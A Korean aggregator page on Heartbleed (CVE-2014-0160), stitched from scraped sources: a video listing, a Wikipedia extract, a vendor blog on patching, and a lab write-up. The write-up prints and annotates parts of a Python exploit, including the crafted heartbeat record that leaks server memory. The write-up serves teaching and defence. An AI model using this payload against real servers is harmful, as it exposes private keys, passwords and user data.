당신은 주제를 찾고 있습니까 “하트 블리드 – 하트블리드 해킹시연“? 다음 카테고리의 웹사이트 ppa.maxfit.vn 에서 귀하의 모든 질문에 답변해 드립니다: https://ppa.maxfit.vn/blog/. 바로 아래에서 답을 찾을 수 있습니다. 작성자 js lee 이(가) 작성한 기사에는 조회수 1,194회 및 좋아요 7개 개의 좋아요가 있습니다.
하트 블리드 주제에 대한 동영상 보기
여기에서 이 주제에 대한 비디오를 시청하십시오. 주의 깊게 살펴보고 읽고 있는 내용에 대한 피드백을 제공하세요!
d여기에서 하트블리드 해킹시연 – 하트 블리드 주제에 대한 세부정보를 참조하세요
모의해킹 시연 동영상
* 교육용 동영상이므로 해당 동영상을 이용한 불법적인 행위에 대한 책임은 전적으로 본인에게 있음을 알립니다.
Blog – http://jrich.tistory.com
하트 블리드 주제에 대한 자세한 내용은 여기를 참조하세요.
하트블리드 – 나무위키:대문
2014년 IT와 금융 업계 등 사회 각지에 갑작스레 닥쳤던 대재앙급 보안 이슈이자, 이 이슈의 중심점인 보안 취약점의 별칭. 2014년 4월 1일에 핀란드 …
Source: namu.wiki
Date Published: 8/1/2022
View: 1994
하트블리드 – 위키백과, 우리 모두의 백과사전
하트블리드(영어: Heartbleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그이다. 발표에 따르면, 인증 기관에서 인증받은 안전한 …
Source: ko.wikipedia.org
Date Published: 7/30/2022
View: 7880
OpenSSL 취약점 하트블리드(HeartBleed), 왜 위험한가?
HeartBleed 명칭의 유래는 해당 취약점으로 공격할 때마다 작은 정보들이 새어 나오는 것을, 심장이 한번씩 뛸 때마다(HeartBeat) 심장에서 피가 한 방울 …
Source: blog.alyac.co.kr
Date Published: 5/1/2021
View: 565
하트블리드(Heartbleed) 공격과 방어 | rajephon’s blog
하트블리드(Heartbleed) 공격과 방어. 27 NOV 2017 • 11 mins read. 1. 서론. 2014년 대다수 시스템 소프트웨어의 통신보안에 사용되는 OpenSSL에 중대한 취약점이 …
Source: blog.rajephon.dev
Date Published: 10/24/2022
View: 2999
하트블리드 공격 – Security Analysis
하트 블리드 취약점은 2014년 4월에 발견된 OpenSSL 소프트웨어 버그다. CVE-2014-0160이며 이 취약점은 사용자나 관리자의 아이디, 패스워드, …
Source: rjswn0315.tistory.com
Date Published: 12/10/2021
View: 3563
[Day 120] HeartBleed(하트블리드) 취약점
하트블리드 취약점은 통신구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트 확장 모듈의 버그로 인하여 발생한 취약점으로 서버에 …
Source: remybaek.tistory.com
Date Published: 11/6/2022
View: 112
하트블리드(Heartbleed) 실습 – 블로그 – 네이버
하트블리드 동작원리. 1.2. 실습 – 하트블리드 공격. 1. heartbleed. 1.1. 하트블리드 동작원리. 하트블리드 취약점에 대한 설명은 여러 사이트에 그 …
Source: blog.naver.com
Date Published: 12/24/2022
View: 9518
[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석
[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석 ※하트블리드(HeartBleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 …Source: jmoon.co.kr
Date Published: 10/6/2022
View: 8812
SSL 취약점을 이용한 공격, Heart bleeds(하트블리드) 실습 (1)
한 마디로 Openssl을 웹서버(Apache,Nginx)에서 자유롭게 사용할 수 있다. Openssl은 2014년, Heart bleed 버그로 이슈화가 되었다. Heart bleeds. 이 …
Source: sudo-minz.tistory.com
Date Published: 11/5/2021
View: 4812
애플리케이션 보안 – 하트블리드 (Heartbleed)
하트블리드(HeartBleed)’ 취약점이란? HeartBleed란 OpenSSL 1.0.1 버전에서 발견된 매우 위험한 취약점 입니다. OpenSSL을 구성하고 있는 TLS/DTLS의 …
Source: yjshin.tistory.com
Date Published: 4/16/2021
View: 9128
주제와 관련된 이미지 하트 블리드
주제와 관련된 더 많은 사진을 참조하십시오 하트블리드 해킹시연. 댓글에서 더 많은 관련 이미지를 보거나 필요한 경우 더 많은 관련 기사를 볼 수 있습니다.
주제에 대한 기사 평가 하트 블리드
- Author: js lee
- Views: 조회수 1,194회
- Likes: 좋아요 7개
- Date Published: 2015. 3. 13.
- Video Url link: https://www.youtube.com/watch?v=qP76lhDOl8Y
위키백과, 우리 모두의 백과사전
하트블리드 [1][2] 심장출혈을 나타내는 로고이다. 이 로고와 “하트블리드”라는 이름은 이 문제에 대한 대중의 인식을 이끌어내는데 기여했다. CVE 식별자 CVE-2014-0160 발견일 2014년 4월 1일 (8년 전) ( ) 패치일 2014년 4월 7일 (8년 전) ( ) 발견자 닐 메타(Neel Mehta) 영향을 받는 소프트웨어 OpenSSL (1.0.1) 웹사이트 heartbleed .com
하트블리드(영어: Heartbleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그이다. 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인 키 및 세션 쿠키 및 암호를 훔칠 수 있는 상태이다.[3][4][5][6][7]
역사 [ 편집 ]
출현 [ 편집 ]
전송 계층 보안(TLS) 및 데이터그램 전송 계층 보안(DLTS) 프로토콜의 하트비트 확장은 2012년 2월 출판된 RFC 6520이 지정한 제안된 표준이다. 이 확장은 매번 연결을 재협상하지 않아도 안전한 통신 연결을 테스트하고 유지시키는 방법을 제공한다.
그 뒤 2011년 뒤스부르크-에센 대학교의 박사과정을 밟던 학생인 로빈 세글먼(Robin Seggelmann)이 OpenSSL의 하트비트 확장을 구현하였다. OpenSSL에 그의 노고의 결과물을 넣어달라는 세글먼의 요청에 따라[8][9][10], OpenSSL 소속의 4명의 핵심 개발자들 중 한 명인 스티븐 N. 헨슨(Stephen N. Henson)은 그의 변경 사항을 검토하기에 이르렀다. 헨슨은 세글먼의 구현체 안에 들어있던 버그를 눈치채지 못했고[11] 취약한 코드가 OpenSSL의 소스 코드 저장소에 2011년 12월 31일 들어가게 되었다. 이 취약성 코드는 2012년 3월 14일 OpenSSL 버전 1.0.1 출시와 더불어 널리 이용되었다. 하트비트 지원은 기본적으로 활성화되어 있었고, 이에 따라 영향을 받는 버전들은 기본적으로 취약성에 노출되게 되었다.[12][13][14]
발견 [ 편집 ]
OpenSSL의 마크 J. 콕스(Mark J. Cox)에 따르면 구글 보안팀의 닐 메타(Neel Mehta)는 2014년 4월 1일 하트블리드를 보고했다.[15] 이 버그는 TLS 하트비트 확장 구현체에서 심각한 메모리 처리 오류를 따라다녔다.[16][17] 이 결함은 매 하트비트마다 응용 프로그램 메모리의 최대 64 킬로바이트를 들추어내는데 이용될 수 있었다.[17]
이 버그의 이름은 버그를 대중에게 설명할 목적으로, 피가 흘러내리는 심장의 로고를 만들어 도메인 Heartbleed.com 를 시작한 핀란드의 보안 업체인 코데노미콘의 한 기술자가 지은 것이다.[18] 코데노미콘에 따르면 닐 메타는 처음으로 이 버그를 OpenSSL에 보고했으나, 구글과 코데노미콘 모두 이 버그를 독립적으로 발견하였다.[12]
코데노미콘은 4월 3일을 이 버그의 발견일이자 NCSC-FI(이전 이름: CERT-FI)의 통보일로 보고하고 있다.[12][19]
해결 [ 편집 ]
2014년 3월 21일 구글의 보도 모엘러(Bodo Moeller)와 애덤 랭글리(Adam Langley)는 이 버그를 수정한 패치를 기록하였다.[20] 패치일은 레드햇의 이슈 트래커를 통해 알려져 있다. 이어, 웹사이트 성능 및 보안 기업인 클라우드플레어는 2014년 3월 31일 시스템 상의 결점을 수정하였다.[21]
동작 원리 [ 편집 ]
하트블리드의 설명
패치 [ 편집 ]
이 버그는 버퍼 초과 읽기로 분류되는데[22], 소프트웨어가 허용된 것보다 더 많은 데이터를 읽게 하는 상황을 가리킨다.[23] 이 문제는 필요한 양 보다 더 많은 데이터를 요청하는 하트비트 요청 메시지를 무시함으로써 수정할 수 있다.
버전 1.0.1g의 OpenSSL은 몇 가지 바운드 검사를 추가하여 버퍼 초과 읽기를 방지한다. 예를 들면 다음 코드와 같은 변수 검사를
if ( 1 + 2 + payload + 16 > s -> s3 -> rrec . length ) return 0 ; /* silently discard per RFC 6520 sec. 4 */
이 밑에 나오는 줄 바로 위에 입력하면 된다.
pl = p ;
완전한 변경 사항 목록은 git.openssl.org에서 참조할 수 있다.[24]
영향을 받는 서비스 [ 편집 ]
다음 OpenSSL 버전은 취약한 것으로 결정되었다:
다음 OpenSSL 버전은 하트블리드 버그를 해결한 패치를 포함하고 있다.:
OpenSSL 1.0.2 베타 2 (예정)
OpenSSL 1.0.1g
OpenSSL 1.0.0 (및 1.0.0 브랜치 릴리즈)
OpenSSL 0.9.8 (및 0.9.8 브랜치 릴리즈) (이 버전은 Heartbeat 자체를 지원하지 않는다)
버그를 해결하려면 서버 관리자가 1.0.1g 버전을 사용하거나 DOPENSSL_NO_HEARTBEATS 같이 취약한 기능을 비활성화한 상태로 OpenSSL을 다시 컴파일하면 된다.
웹사이트 및 웹 서비스 [ 편집 ]
다음의 사이트들은 버그에 대응하여 사용자가 암호를 변경할 것을 권고하는 발표를 하였거나 버그에 영향을 받은 서비스들을 포함하고 있다:
라스트패스 패스워드 매니저는 순방향 비밀성을 사용하여 취약하지는 않았지만 라스트패스에 저장된 취약한 웹사이트의 암호를 변경할 것을 권장하고 있다.[42] 로그인은 “OpenSSL에 의존하는 자사 서비스들 중 일부와 수많은 제품들을 업데이트하였다”고 주장하였다.[43]
OpenSSL 취약점 하트블리드(HeartBleed), 왜 위험한가?
OpenSSL 취약점 ‘HeartBleed’ 발견
2014년 4월은 보안시장에서 큰 이슈가 많이 발생한 달입니다.
4월 8일(한국시간), 13년 동안 우리의 인터넷 생활을 함께 해 온 XP 운영체제의 업데이트 지원이 종료되었으며, 그 다음날인 9일, HeartBleed(CVE-2014-0160)라고 명명된 OpenSSL버그가 발견되었습니다.
‘하트블리드(HeartBleed)’ 취약점이란? HeartBleed란 OpenSSL 1.0.1 버전에서 발견된 매우 위험한 취약점 입니다. OpenSSL을 구성하고 있는 TLS/DTLS의 HeartBeat 확장규격에서 발견된 취약점으로, 해당 취약점을 이용하면 서버와 클라이언트 사이에 주고받는 정보들을 탈취할 수 있습니다. * OpenSSL은 정해진 규격의 네트워크 보안 프로토콜을 범용 라이브러리로 구현하기 위한 목적으로 만들어졌으며, SSL이나 TLS를 이용한 암호화를 구현할 수 있습니다. 강력한 암호화 기능을 제공하기 때문에, 보안이 중요한 대형 포털서비스, 이메일 서비스, 금융권 등에서 데이터 통신 시 OpenSSL을 사용하고 있습니다.
HeartBleed 취약점은 OpenSSL 라이브러리의 구조적인 취약점입니다. OpenSSL의 확장규격 중 하나인 HeartBeat는 서버와 클라이언트 사이에 무슨 문제는 없는지 또는 안정적인 연결을 유지하기 위한 목적으로 일정 신호를 주고 받을 때 사용하는 확장규격입니다. 클라이언트는 HeartBeat 확장프로토콜을 이용하여 임의의 정보를 그 정보의 길이와 함께 서버에 전송합니다. 그 후 서버는 전달받은 정보를 다시 클라이언트에 전달해 주는 과정을 통해 자신의 존재 사실을 알려줍니다.
이 때 클라이언트로부터 전달받은 정보와 그 정보의 길이가 일치하지 않는다면, 클라이언트의 요청에 서버는 응답을 하지 않는 것이 정상적인 동작입니다. 이번에 발견된 HeartBleed 취약점은 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 정보를 보내주면서 문제가 발생된 것입니다.
그림1. 정상적인 요청과 정상적인 반환값
그림2. payload의 길이를 조작하여 정보 유출
* 페이로드(Payload) : 실제 전송되는 데이터
쉽게 설명하자면, 클라이언트가 ‘사과 한 개가 담긴 사과박스’를 ‘사과가 10개 들어있다는 거짓 정보’와 함께 서버에 전달합니다. 이 정보를 받은 서버는 사과가 1개가 들어있는 박스를 확인하면 사과가 10개라는 정보는 거짓이기 때문에 그 요청에 응답을 해서는 안됩니다. 하지만 서버는 그러한 정보를 검증하지 않은 채 ‘사과 한 개가 있는 박스를 받았지만, 사과가 10개 있다고 착각’해 클라이언트로부터 전달받은 1개의 사과에 자신이 갖고 있던 사과 9개를 추가하여 클라이언트에게 전달하게 됩니다. 이것이 바로 HeartBleed 취약점이 발생되는 과정입니다.
클라이언트는 한번에 최대 64KB의 정보를 요청할 수 있습니다. 실제로 64KB에 들어갈 수 있는 정보는 매우 작습니다. 그러나 해당 취약점을 이용하여 시스템 메모리에 저장되어 있는 무의미한 작은 정보들을 지속적으로 유출시키면, 이러한 무의미한 정보들이 모여 하나의 완전한 유의미한 정보가 될 수 있습니다. 이러한 과정을 통하여 공격자는 시스템 메모리에 저장되어 있는 정보들을 유출시킬 수 있으며, 이 정보들에는 개인키, 관리자 정보 등 민감한 정보들도 포함되어 있습니다. 특히 개인키의 경우 암호화하여 전달되는 데이터를 모두 열람할 수 있는 핵심정보이기 때문에 사안이 매우 심각하다고 할 수 있습니다.
HeartBleed 명칭의 유래는 해당 취약점으로 공격할 때마다 작은 정보들이 새어 나오는 것을, 심장이 한번씩 뛸 때마다(HeartBeat) 심장에서 피가 한 방울씩 떨어지는 치명적인 심장출혈(HeartBleed)로 비유하여 명명한 것입니다.
영향받는 버전 OpenSSL 1.0.1 ~ OpenSSL 1.0.1f OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1
영향받지 않는 버전 OpenSSL 1.0.1g OpenSSL 1.0.0대 버전 OpenSSL 0.9.8대 버전
※ 패치방법
[시스템 측면 대응방안] 1. OpenSSL 버전을 1.0.1g 버전으로 업데이트 서비스 운영환경에 따른 소프트웨어 의존성 문제 고려, 업데이트 방법을 선택하고 반드시 먼저 테스트 수행 * 아래 보안 패치 방법은 CentOS/Fedora 및 Ubuntu의 예제로 각 운영체제 별로 업데이트 방법이 상이할 수 있음 – CentOS/Fedora (1) 전체 시스템 업데이트(OpenSSL을 포함한 시스탬 내의 소프트웨어 전부 업데이트) (2) OpenSSL 업데이트 – Ubuntu (1) 전체 시스템 업데이트(OpenSSL을 포함한 시스탬 내의 소프트웨어 전부 업데이트) (2) OpenSSL 업데이트2. 운영환경의 특수성 때문에 패키지 형태의 업데이트가 어려운 경우, Heartbeat를 사용하지 않도록 컴파일 옵션을 설정하여 재컴파일 가능 * OpenSSL 소스코드를 처음 다운받아 컴파일하는 경우 라이브러리 의존성 문제가 발생하여 추가적인 작업이 필요한 경우도 존재
[네트워크 보안 장비 측면 대응 방안] 취약점 공격 탐지 및 차단 패턴 적용 * 아래의 Snort 탐지 룰(rule)을 참고하여 침입탐지시스템 및 침입차단 시스템에 패턴 업데이트 적용 권고 * 차단 패턴 적용은 서비스 및 네트워크 영향도를 고려하여 적용 [서비스 관리 측면 대응 방안] 1. 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성이 있기 때문에 인증서 재발급을 운영자가 검토 2. 취약점에 대한 조치 완료 후, 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해 방지 방안 고려참고:
본 포스트의 이해를 돕고자 제작된 이미지는 다음 자료를 참고하였습니다.
서버와 클라이언트(그림1, 그림 2): http://www.forumsys.com/api-security/how-to-fix-openssl-heartbleed-security-flaw/
네트워크 보안 장비 측면 대응 방안: FBI
하트블리드(Heartbleed) 공격과 방어
1. 서론
2014년 대다수 시스템 소프트웨어의 통신보안에 사용되는 OpenSSL에 중대한 취약점이 발견되었다. 이를 발견한 핀란드 보안 업체 ‘코데노미콘’은 이를 대중에게 설명하기 위하여 Heartbleed.com이라는 홈페이지를 개설하고 피를 흘리는 심장과 함께 이 취약점의 이름을 하트블리드(Heartbleed)라고 명명하였다. 이 취약점이 이런 이름으로 칭해지게 된 계기와 취약점 분석, 그리고 방어 방법에 대한 설명을 담았다.
2. 공격 원리
(그림 1) 정상적인 하트비트 메시지 교환 [출처 : forumsys.com]
OpenSSL 1.0.1 버전부터 하트비트(Heartbeat)라는 이름의 확장 모듈이 추가되었는데, 이는 TLS(Transport Layer Security) / DTLS(Datagram Transport Layer Security) 프로토콜에서 매번 연결을 재협상하지 않아도 통신연결을 유지하게 해주는 확장 규격이다.1 클라이언트가 하트비트를 요청하며 Payload와 해당 Payload의 길이를 보내면 서버 측에서는 하트비트 응답에 내용을 그대로 복사하여 되돌려주며 연결을 확인한다. (그림 1)에서의 상황을 예시로 정리해보면 먼저 클라이언트가 하트비트 요청으로 ‘HELLO’라는 문자의 Payload와 해당 Payload의 길이 5를 전송한다. 서버는 하트비트 요청 사항을 확인하고 하트비트에 클라이언트에서 온 ‘HELLO’라는 Payload와 Payload의 길이 5를 그대로 담아 응답한다. 이러한 일련의 과정을 주기적으로 반복하며 클라이언트와 서버 사이의 연결을 수립한다. 추가적으로 (그림1)의 상황에서 하트비트 교환 중 Payload의 예시로 사용된 메시지 ‘HELLO’는 단순히 이해하기 쉽도록 설명하기 위하여 표현된 임의의 메시지임을 설명한다.
(그림 2) Payload 길이가 조작된 하트비트 메시지 교환 [출처 : forumsys.com]
하트블리드는 여기서 하트비트 요청 메시지에 포함된 Payload와 Payload의 길이 부분 사이의 일치성을 확인하지 않는다는 점에서 발생하는 보안이슈이다. 서버에서 하트비트에 대한 응답을 할 때, 메모리에서 요청으로 들어온 Payload를, 마찬가지로 요청으로 들어온 Payload의 길이 만큼 빼내어 되돌려준다. 여기서 Payload의 길이의 값을 실제 Payload보다 훨씬 크게 잡으면 메모리에서 Payload의 뒤에 적혀 있는 값을 길이 만큼 모두 응답 패킷에 담아 보내버리는 버그가 발생한다.
(그림2)의 예시를 참고로 다시 한 번 정리를 해보면 클라이언트가 Payload를 ‘HELLO’, Payload의 길이를 25로 지정한 하트비트 메시지를 서버로 전송하였다. 서버는 이 하트비트 메시지를 메모리에 올려 확인한 다음 이에 대한 응답으로 길이가 25인 ‘HELLO’라는 메시지 응답을 한다. 하지만 ‘HELLO’는 5글자밖에 되지 않으므로 메모리의 ‘HELLO’를 초과하여 뒤이어지는 값까지 모두 포함한 25글자 길이의 메시지를 전송해버린다.
이러한 문제로 이 버그를 악용할 경우 메모리에 할당될 수 있는 아이디, 비밀번호, 사용자 개인 자료 등의 각종 정보가 외부로 노출될 수 있는 치명적인 취약점이 될 수 있다. 이 사태를 하트비트에서 발생한 보안 이슈를 이용하기 때문에 ‘하트블리드(Heartbleed, 심장출혈)’라는 명칭으로 불리게 되었다.
3. 공격 실습
하트블리드 취약점을 가지고 있는 버전의 Openssl이 기본 설치된 웹 서버를 테스트 환경으로 구축하고, 하트블리드 공격을 직접 경험하여 위험성에 대하여 실습한다. 테스트에 사용된 환경은 다음과 같다.
OS 웹 서버 OpenSSL IP FreeBSD 10.0 Apache/2.4.18 (FreeBSD) OpenSSL 1.0.1e-freebsd 192.168.25.23
FreeBSD 10.0은 번들 패키지로 설치된 OpenSSL의 버전이 1.0.1e로 하트블리드에 취약한 대표적인 OS버전이다. 이 OS에 테스트 환경을 위해 아파치 HTTP 웹서버를 설치하고 개인키와 인증서를 적용하여 HTTPS/SSL이 적용된 웹 서버 환경을 구현한다. 이런 간단한 작업만으로 테스트를 위한 서버 환경을 구현할 수 있다. 필요에 따라서 사용하지 않는 컴퓨터, 또는 보조로 사용하는 하드디스크에 파티션을 나누어 구축할 수도 있고 간편하게는 VirtualBox나 VMware Workstation과 같은 소프트웨어를 이용하여 가상 머신으로 구현할 수 있다. 테스트 환경은 VirtualBox로 구현하고 네트워크 세팅을 ‘Bridged Adapter’로 설정하여 동일 네트워크의 다른 단말기에서 GuestOS에 접근이 가능하도록 하였다. 가상머신을 ‘Bridged Adapter’로 설정하고 GuestOS에서 네트워크 인터페이스 설정을 DHCP로 하면 가상머신을 구동하고 있는 HostOS 단말기가 연결되어있는 게이트웨이에서 IP를 할당받아 같은 네트워크에서 접근이 용이하다.
테스트 서버의 세팅이 완료되면 공격 스크립트를 준비한다. 마침 테스트하기 위해 좋은 스크립트가 Exploit Database(exploit-db.com)에 준비되어있다. Exploit Database는 취약점 테스트, 연구, 보안을 개선하기 위하여 여러 자료를 제공하며 테스트를 위한 취약점 공격 코드 또한 제공되고 있다. 마찬가지로 하트블리드에 관련된 여러 공격 코드가 게시되어 있다. 그중 Jared Stafford가 게시한 ‘OpenSSL TLS Heartbeat Extension – Memory Disclosure’라는 이름의 공격 코드를 이용한다.2 이 코드는 파이썬(Python)으로 작성되었다. 파라미터로 공격 대상 서버의 호스트 주소를 넘겨주면 서버에 접속을 연결하고, Handshake 메시지를 보낸다. 만약 서버에서 Handshake에 정상적으로 응답할 경우, 공격을 위하여 Payload 길이가 변조된 하트비트를 전송하여 공격한다. 이후 응답 메시지의 헥사 덤프를 화면에 출력한다. 이 응답 메시지는 공격이 성공할 경우, 서버 메모리 데이터 또한 포함한다.
hello = h2bin ( ”’ 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ”’ ) s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) print ‘Connecting…’ sys . stdout . flush () s . connect (( args [ 0 ], opts . port )) print ‘Sending Client Hello…’ sys . stdout . flush () s . send ( hello )
파라미터로 임력받은 공격 호스트에 접속하고 임의로 작성된 헥사코드를 바이너리로 바꾸고 그것을 전송하여 Handshake를 하는 과정이다. hello라는 변수에 입력되어있는 값을 하나씩 분석해보도록 한다.
16 Handshake 03 02 TLS version 1.1 00 dc Length
상단의 첫 메시지는 SSL Handshake를 가리키며, 프로토콜 버전, 그리고 길이를 정의하고 있다.
01 handshake type (Client hello) 00 00 d8 Length 03 02 TLS Version 1.1
바로 다음 헥사 코드는 어떤 타입의 Handshake 메시지인지를 정의하고 있다. 여기서는 Client Hello 형식이 이용되었다. 그리고 마찬가지로 길이, Handshake의 버전을 알려주고 있다.
53 43 5b 90 Timestamp 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de Random bytes
뒤이어 오는 값은 유닉스 타임스탬프와 28바이트 길이의 무작위로 작성된 값이 들어 있다.
00 Length of session id
세션 식별자의 길이에 대한 정보가 담겨있는 필드다. 이 필드는 보통 브라우저가 최근 서버에 방문하여 이전 세션을 이어가기 위하여 Abbreviated Handshake를 할 때 이용된다.
00 66 Length of cipher suites c0 14 c0 0a c0 22 c0 21 … 생략 … 08 00 06 00 03 00 ff Cipher suites
다음 클라이언트에서 지원하는 암호방식(Cipher suites)의 리스트 메시지에 대한 길이와 해당 메시지가 작성되어있다. 각각의 암호방식은 2바이트로 작성되어있다. 예를들어, 가장 앞에 등장한 c0 14는 암호방식 중 TLS_EC DHE_RSA_WITH_AES_256_CBC_SHA를 의미한다.
01 Length of compression methods 00 Compression method NULL (ie no compression)
뒤에 나오는 필드는 압축에 관련되어있는 필드이다. 마찬가지로 압축 방법에 대한 필드의 길이와 압축 방법에 대한 정보에 대하여 정의되어있다. 여기서는 00으로 압축을 하지 않는다.
00 49 Length of TLS extensions
추가 확장에 관련된 정의를 한다. 다른 필드와 같이 길이에 대한 정의로 시작한다.
00 0b 00 04 03 00 01 02 Eliptic curve point formats extension 00 0a 00 34 00 32 00 0e … 생략 … 00 03 00 0f 00 10 00 11 Elliptic curve
그 중 첫 두 가지의 확장 Elliptic-curve cipher에 관련하여 정의하고 있다.
00 23 00 00 TLS session ticket
그 다음 TLS 세셧 티켓 확장 모듈을 지원한다는 것을 알려준다.
00 0f 00 01 01 Heartbeat extension
마지막으로 우리의 목적인 TLS 하트비트 확장을 지원한다는 것을 정의한다.
이것으로 Cilent Hello 메시지에 대한 분석을 끝냈다. 서버에게서 Hello Done 응답 메시지를 성공적으로 받으면 하트비트 요청 메시지 작성을 시작한다.
hb = h2bin ( ”’ 18 03 02 00 03 01 40 00 ”’ ) s . send ( hb ) hit_hb ( s )
하트비트 요청 메시지 코드는 앞의 Client Hello에 비하면 훨씬 짧고 간단하게 되어있다.
18 TLS record is a heartbeat 03 02 TLS version 1.1
첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS 버전을 알려준다.
00 03 Length 01 Heartbeat request
다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시 하고있다.
40 00 Payload length (16384 bytes)
마지막으로, 공격의 핵심에 해당하는 부분이다. Payload의 길이를 16,384바이트라 표시하고 있다. 하지만 그 만큼의 길이에 해당하는 메시지를 보내지 않는다. 하트블리드 공격의 원리에 대하여 설명한 바와 같이 이 값에 의하여 해당 바이트 만큼의 서버 메모리에 있는 정보를 응답으로 되돌려 받는다. 마지막으로 이 파이썬 코드에서는 되돌려받은 메시지를 헥사 덤프로 화면에 출력한다.
다음으로 이 공격 스크립트 코드를 이용하여 테스트를 위한 취약 서버를 타겟으로 실행해보도록 한다. 서버는 앞서 설명한 바와 같이 1.0.1버전의 OpenSSL, 2.4.18 버전의 Apache가 80번, 443번 포트에 각각 HTTP, HTTPS 서비스를 동작시키고 있다.
(그림 3) 하트블리드(Heartbleed) 취약점 공격 실습
파이썬 명령을 이용하여 공격 타겟의 IP(192.168.25.23)를 인자로 전달하여 실행한다. 스크립트 코드는 따로 지정해준 포트가 없으므로 HTTPS/SSL 서비스 기본 설정인 443번 포트에 Client Hello 메시지를 전송하여 Handshake를 수행하고 하트블리드 공격 코드 메시지를 전송한다. 이 결과로 (그림3)의 결과 화면과 같이 하트블리드 메시지 응답으로 서버의 메모리 데이터가 누출되어 헥사 덤프로 화면에 표시된다.
이처럼 간단한 원리와 공격 스크립트만으로 취약한 버전의 OpenSSL을 사용할 경우 서버 메모리에 로드되어있는 정보를 갈취할 수 있어 매우 심각한 버그에 해당한다.
4. 예방
하트블리드(Heartbleed)의 위험성은 OpenSSL의 버그에서 나타나는 것으로 단지 취약한 OpenSSL 버전을 업데이트하는 것으로 해킹을 예방할 수 있다. 하트블리드 취약점 버그가 있는 OpenSSL 버전은 1.0.1 ~ 1.0.1f에 해당한다. 1.0.1g 이후 버전은 패치되어 하트블리드 취약점 노출이 없다. 추가적으로 앞서 설명한 버전의 범위에 포함되더라도 대부분의 운영체제(OS)에서 긴급패치를 진행하여 업데이트를 수행하여 공격을 방지할 수 있다.
실습 예시로 사용된 운영체제 FreeBSD 10.0의 경우 freebsd-update 명령어를 이용하여 업데이트가 가능하다.
freebsd-update fetch freebsd-update install
openssl version # OpenSSL 1.0.1l-freebsd 15 Jan 2015
freebsd-update fetch를 이용하여 바이너리 보안 업데이트 정보를 가져오고, freebsd-update install 명령어로 설치한다. 이후 openssl version 명령어로 OpenSSL의 버전을 확인해보면 업데이트가 진행된 것을 확인 가능하다.
(그림 4) OpenSSL 업데이트로 하트블리드 공격 실패
업데이트 이후 다시 취약점 공격 스크립트를 이용하여 확인하면 Handshake 과정은 정상적으로 이루어지나 하트비트를 통한 취약점 공격 메시지는 서버 측에서 응답하지 않아 실패하는 것을 확인할 수 있다.
데비안 계열 리눅스 운영체제는 APT명령어를 이용하여 OpenSSL 업데이트가 가능하다.
sudo apt-get update sudo apt-get install openssl libssl-dev
기타 직접 취약점 패치가 이루어진 Openssl 버전을 다운로드받아 빌드하여 설치를 하여도 무관하다.
추가로 취약점 버전을 사용하는 동안 혹시 있었을지 모를 계정 정보 유출에 대비하여 서버에서 사용하는 모든 패스워드를 변경해주는 것을 권장한다.
5. 의견
평소에 대비를 하더라도 바이러스나 취약점으로 인한 해킹은 언제 어떤 방법으로 발생할지 예측하기 힘들다. 최근 발생한 사건으로는 지난 2016년 3월 압축 프로그램 반디집(bandizip)으로 유명한 반디소프트의 홈페이지와 같은 IP 대역을 사용하는 타사 서버가 해킹당했다. 크래커는 해킹된 서버에서 ARP 스푸핑을 시행하여 반디소프트 홈페이지에서 배포하는 이미지 뷰어 S/W 꿀뷰를 내려받으려 하면 악성코드가 내려받게 되도록 유도하였다. ARP 스푸핑 공격 후 약 50분 만에 상황을 인지한 반디소프트 담당자는 빠르게 대처하여 약 2시간 만에 상황을 해결하고 바로 백신 회사와 한국 인터넷 진흥원(KISA)에 사건을 접수하였다.
외부에서 접근하는 길이 존재하는 이상 보안위협의 가능성에 노출되어있는 것이나 마찬가지다. 우리는 항상 보안에 신경 써야 하며, 보안 이슈에 귀를 기울여야 한다. 반디소프트의 사건과 같이 준비를 하고 있더라도 원천차단이 불가능할 수도 있다. 하지만 재빠르게 대처하여 피해를 최소한으로 줄일 수 있었다. 특히나 하트블리드 버그는 해당 취약점으로 인해 데이터가 노출되어있는 동안 언제, 얼마나 많은 양의 정보가 누구에게 유출되었을지 모르기 때문에 취약점 버전을 사용한 적이 있는 서버는 더욱더 유출된 정보가 가져올 수 있는 혼란과 피해에 대비하고 예방하여야 한다.
참고문헌
http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-concept/
1. (주)이스트소프트 “OpenSSL 취약점 하트블리드(HeartBleed), 왜 위험한가?”, blog.alyac.co.kr/76 (2016. 04. 01)
